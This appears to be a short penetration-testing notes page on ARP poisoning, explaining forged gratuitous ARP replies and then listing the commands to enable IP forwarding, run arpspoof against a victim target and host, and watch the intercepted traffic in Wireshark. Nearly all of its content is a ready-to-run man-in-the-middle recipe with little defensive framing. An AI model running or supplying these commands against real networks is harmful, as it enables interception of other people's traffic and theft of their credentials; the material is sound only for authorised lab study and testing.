# Arp Poisoning

### Introduction

It works by sending Gratious Arp Replies to the target machine which enables them to update their arp cache with fake information. Every 30s, an arp reply is sent to update the table.

***

### Dnsiff Arpspoof

1. Enable IP Forwarding

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

THen run arpspoof

```
arpspoof -i <interface> -t <target> -r <host>
```

Target and hosts are victim ip addresses . Finally, wireshark can be run to view the trafffic.

***